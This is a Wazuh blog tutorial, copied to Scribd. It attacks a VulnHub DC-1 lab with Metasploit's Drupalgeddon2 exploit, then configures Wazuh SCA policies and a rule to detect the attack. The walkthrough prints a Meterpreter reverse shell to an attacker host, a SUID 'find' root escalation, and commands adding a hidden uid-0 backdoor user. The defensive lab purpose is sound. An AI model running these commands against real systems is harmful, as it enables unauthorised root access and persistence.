KEMBAR78
Detecting Metasploit Attacks | PDF | Computing | Software
0% found this document useful (0 votes)
110 views14 pages

Detecting Metasploit Attacks

For attack teachnique

Uploaded by

siti husna
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
110 views14 pages

Detecting Metasploit Attacks

For attack teachnique

Uploaded by

siti husna
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 14

Engineering 

Detecting Metasploit attacks


June 25th 2020 | by Jesus Linares | Wazuh 3.13

We are going to attack a vulnerable server using Metasploit and then we will see how to use Wazuh to detect various
of its attacks. This framework is the most used penetration testing framework in the world. It contains a suite of tools
that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

Introduction
We will simulate a real attack where the attacker uses Metasploit to exploit vulnerabilities in a Linux system and gains
root access. Then, we will repeat the attack but this time with Wazuh installed in the vulnerable system.
With this goal, we prepare a small lab with three virtual machines:
Victim: The vulnerable machine DC:1 from VulnHub.
Attacker: Kali Linux or you can manually install Metasploit in any virtual machine.
Wazuh: The Wazuh OVA is the easiest method to setup the Wazuh Manager integrated with the Elastic Stack.
We assume that the virtual machines have been previously installed and that they are in the same network.

Attacking the vulnerable machine


In our attacker virtual machine ( Kali ), we run the netdiscover command to find information about the network.

root@kali:/# netdiscover

 Output

_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.110 08:00:27:9b:66:0a 1 60 PCS Systemtechnik GmbH
192.168.1.54 08:00:27:1b:cc:6e 1 60 PCS Systemtechnik GmbH

There are two IP addresses. Let’s scan both with Nmap.

root@kali:/# nmap -sV 192.168.1.110

Output

Nmap scan report for 192.168.1.110


Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
111/tcp open rpcbind 2-4 (RPC #100000)
443/tcp open ssl/https

Since port 443 is running, we open the IP in the browser: https://192.168.1.110 . When we access, we see the Wazuh
WUI, so this is the IP address of our Wazuh virtual machine .
Now, we scan the other IP address:

root@kali:/# nmap -sV 192.168.1.54

Output

Nmap scan report for 192.168.1.54


Host is up (0.00016s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)

Port 80 HTTP is running, so we open that IP ( http://192.168.1.54 ) in our browser:


This looks like our target system (DC-1) . It is running a Web server with Drupal. Our next step is to check if Metasploit
has some available exploit for this CMS.

root@kali:/# msfconsolemsf5 > search drupal

Output

Matching Modules
================

# Name Disclosure Date Rank Check Description


- ---- --------------- ---- ----- -----------
0 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID Externa
1 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module U
2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter
3 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module R
4 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2
5 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module
6 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Se
7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary

We try one of the most recent and ranked: Drupal Drupalgeddon 2 Forms API Property Injection . This attack exploits
the CVE-2018-7600 vulnerability.

 msf5 > use exploit/unix/webapp/drupal_drupalgeddon2


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
 rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

Output

[*] Started reverse TCP handler on 192.168.1.56:4444


[*] Sending stage (38288 bytes) to 192.168.1.54 
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:33698) at 2020-06-09 12:17:42 +0200
meterpreter > sysinfo
Computer : DC-1
OS : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)

The exploit worked successfully and we are login on the server DC-1 with the user www-data . We need a way to gain
root privileges. So, we get a reverse shell and spawn a TTY shell using Python.

meterpreter > shell


Process 4222 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'

Then, we try to find files with SUID permission:

www-data@DC-1:/var/www$ find /usr/bin -perm -u=s -type f

Output

find /usr/bin -perm -u=s -type f


/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find

There are several binaries with the SUID bit set. Checking this reference, we realized that the find binary can be
exploited if the SUID bit is set:

www-data@DC-1:/var/wwwfind . -exec /bin/sh \; -quit


find . -exec /bin/sh \; -quit
# whoami

Output

whoami
root

 Finally, we have root access. Let’s create another root user to access via SSH easily:

root@kali:/# ssh toor@192.168.1.54
 toor@192.168.1.54's password:

# bash
root@DC-1:/#

Now, we can login via SSH with the toor user and root password: 
root@kali:/# ssh toor@192.168.1.54
toor@192.168.1.54's password:

# bash
root@DC-1:/#

The metasploit attack was successful. We were able to create a root user with permanent access to the virtual
machine exploiting a Drupal vulnerability and a wrong permission configuration.

Installing and configuring a Wazuh agent in the vulnerable machine


In this section, we will prepare our Wazuh Manager to detect the previous metasploit attack. Then, we will install a
Wazuh agent in the vulnerable machine.

Step 1: Configuring SCA to detect vulnerable versions of Drupal


The exploit that we used works with the following Drupal versions according to the CVE-2018-7600:
Before 7.58
8.x before 8.3.9
8.4.x before 8.4.6
8.5.x before 8.5.1
Wazuh is able to detect vulnerabilities in the installed applications using the Vulnerability detector module: the
agent collects the list of installed application and they are correlated with vulnerability feeds like the National
Vulnerability Database. In our case, since Drupal is installed using a zip file instead of a package, we can’t use the
Vulnerability detector module but we can create our SCA policy to check if we have a vulnerable version of Drupal.
Create the SCA policy:

[root@manager ~]# vi /var/ossec/etc/shared/default/sca_drupal.yaml

# Security Configuration Assessment


# Drupal

policy:
id: "drupal"
file: "drupal.yml"
name: "Security checks for Drupal"
description: "Find vulnerable versions of Drupal"

checks:
- id: 100001
title: "Drupal Drupalgeddon 2 Forms API Property Injection (CVE-2018-7600)"
description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remo
references:
- https://www.cvedetails.com/cve/CVE-2018-7600/
 - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
- https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2
 condition: none
rules:
 - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version
- 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version
- 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version
- 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version
- 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version
- 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version


Enable the SCA policy in your agents:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf

<agent_config>
<sca>
<enabled>yes</enabled>
<scan_on_start>yes</scan_on_start>
<interval>15m</interval>
<skip_nfs>yes</skip_nfs>
<policies>
<policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
</policies>
</sca>
</agent_config>

Step 2: SCA configuration to detect dangerous binaries with SUID bit set
During the metasploit attack, it was possible to gain root access due to the SUID bit set in the find command. We
can create an SCA policy to alert about this kind of binaries.
Since some binaries have the SUID bit legitimately, it is necessary to exclude them. We use the default list created
by Anon-Exploiter/SUID3NUM.
Create the SCA policy:

[root@manager ~]# vi /var/ossec/etc/shared/default/sca_systemfiles.yaml

# Security Configuration Assessment


# System files

policy:
id: "system-files"
file: "system-files.yml"
name: "Security checks for system files"
description: "Analyse system files to find vulnerabilities"

checks:
- id: 100002
title: "Dangerous binaries with SUID bit set found"
description: "Binaries with SUID bit set can result in a root shell."
condition: none
rules:
- 'c:find /usr/bin -perm -u=s -type f -printf "%y:%p\n" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|d

Enable the SCA policy in your agents:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf

<agent_config>

<sca>
<enabled>yes</enabled>
 <scan_on_start>yes</scan_on_start>
<interval>15m</interval>
<skip_nfs>yes</skip_nfs>
<policies>
<policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
<policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>
</policies>
</sca>

</agent_config>

Step 3: Detecting meterpreter


If we check the list of process running in the vulnerable machine during the metasploit attack, we will see some
suspicious processes:

root@DC-1:/# ps -eo user,pid,cmd | grep www-data

Output

www-data 4428 sh -c php -r 'eval(base64_decode(Lyo8P3B));'


www-data 4429 php -r eval(base64_decode(Lyo8P3B));

Also, we can find an open connection for the 4429 PID:

root@DC-1:/# netstat -tunap | grep 4429

Output

tcp 0 0 192.168.1.54:50061 192.168.1.56:4444 ESTABLISHED 4429/php

We can consider that a process trying to evaluate some base64 code is an unusual situation and we should alert
about it. So, we are going to run a command that lists the processes in our agents. Then, we will generate an alert if
there is any process with the string eval(base64_decode .
Configure the command to list the processes:

[root@manager ~]# vi /var/ossec/etc/shared/default/agent.conf

<wodle name="command">
<disabled>no</disabled>
<tag>ps-list</tag>
<command>ps -eo user,pid,cmd</command>
<interval>10s</interval>
<ignore_output>no</ignore_output>
<run_on_start>yes</run_on_start>
<timeout>5</timeout>
</wodle>

Create the rule to detect processes evaluating base64 code:


[root@manager ~]# vi /var/ossec/etc/rules/local_rules.xml



<group name="wazuh,">
<rule id="100001" level="0">
<location>command_ps-list</location>
<description>List of running process.</description>


<group>process_monitor,</group>
</rule>
<rule id="100002" level="10">
<if_sid>100001</if_sid>
<match>eval(base64_decode</match>
<description>Reverse shell detected.</description>
<group>process_monitor,attacks</group>
</rule>
</group>

Step 4: Applying previous changes


Restart the Wazuh manager service to apply the new rules:

[root@manager ~]# systemctl restart wazuh-manager

Step 5: Installing the Wazuh agent


We recommend restarting the vulnerable machine to remove any trace from the previous metasploit attack.
Access to the vulnerable machine using the toor:root credentials and install the Wazuh agent. In our case, the
manager is located in 192.168.1.110 as checked in the previous section.

root@kali:/# ssh toor@192.168.1.54


toor@192.168.1.54's password:
# bash
root@DC-1:/# curl https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.12.3-1_i386.deb -o
root@DC-1:/# WAZUH_MANAGER="192.168.1.110" dpkg -i wazuh-agent.deb

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA
and command features), we need to enable the following settings in the agent:

root@DC-1:/# echo -e "sca.remote_commands=1\nwazuh_command.remote_commands=1" >> /var/ossec/etc/local_internal

Finally, restart our agent to apply the changes:

root@DC-1:/# service wazuh-agent restart

Detecting the attack with Wazuh


We should see our agent DC-1 (004) Active in the Wazuh WUI:


Once the agent is running, it will perform the SCA scans for our Drupal and System files policies. Also, the default
policies for our agent ( CIS benchmark for Debian/Linux 7 L1/L2 ) will be executed. Check the scan results in the SCA
tab of your agent:


The policies show several checks failing. Let’s review our policies in detail:

System files policy


Drupal policy


There are two outstanding failed checks (Drupal version and SUID files). Fixing both, we can prevent the metasploit
attack.
Now, we repeat the attack described in the first section:

root@kali:/# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.1.56:4444


[*] Sending stage (38288 bytes) to 192.168.1.54
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:39991) at 2020-06-12 12:08:23 +0200

meterpreter > getpid


Current pid: 7785


The new rules are detecting the meterpreter session:


Also, Metasploit generates a log in the Apache server during the exploitation and the Wazuh rule engine is matching
the log with the rule Web server 400 error code (ID: 31101), indicating a possible attack.
Finally, if we add another root user as we did in the first metasploit attack, Wazuh will alert about the creation of the
user as well as the SSH login:

root@kali:/# msfconsole

meterpreter > shell


Process 8998 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/wwwfind . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
# /usr/sbin/useradd -ou 0 -g 0 toornew
/usr/sbin/useradd -ou 0 -g 0 toornew
# sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC
sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC01

[root@manager ~]# ssh toornew@192.168.1.54


Conclusion
Security Configuration Assessment (SCA) allows us to detect attack vectors used by tools like Metasploit. Using a
combination of the default CIS policies and custom policies like the ones explained in this post is a key priority to
guarantee that our endpoints are hardened properly. Checking these alerts is a daily task. In addition, the command
feature along with the log analysis engine allows us to detect a wide variety of attacks.
If you have any questions about Metasploit Attacks, don’t hesitate to check out our documentation to learn more
about Wazuh or join our community where our team and contributors will help you.
Related content

Detecting BlackCat Libertia IT and Wazuh sign a


ransomware with Wazuh partnership agreement

March 23rd 2023 / Engineering March 20th 2023 / News

By Obinna Uchubilo By Wazuh



In this blog post, we successfully demonstrated the Libertia IT is proud to announce its strategic partnership

capability of Wazuh to detect and remove BlackCat with Wazuh.
 ransomware on...
Read more
Read more


Detecting and blocking Detecting Vidar infostealer
Cacti remote code with Wazuh
execution vulnerability
(CVE-2022-46169) with
Wazuh

March 16th 2023 / Engineering March 9th 2023 / Engineering

By Farouk Musa By Benjamin Nworah


In this blog post, we demonstrated how to detect the Our new blog post shows how we successfully use
Cacti CVE-2022-46169 vulnerability and block Wazuh to detect Vidar infostealer on an infected
exploitation attempts with... Windows...
Read more Read more

EXPLORE SERVICES

Platform Support
Cloud Training

DOCUMENTATION RESOURCES

Quickstart Blog
Getting started Community
Installation guide

COMPANY Subscribe to our newsletter


About us
Customers Email address 

Partners
Careers
FOLLOW US
Contact us


© 2023 Wazuh, Inc. Privacy Terms Of Use

You might also like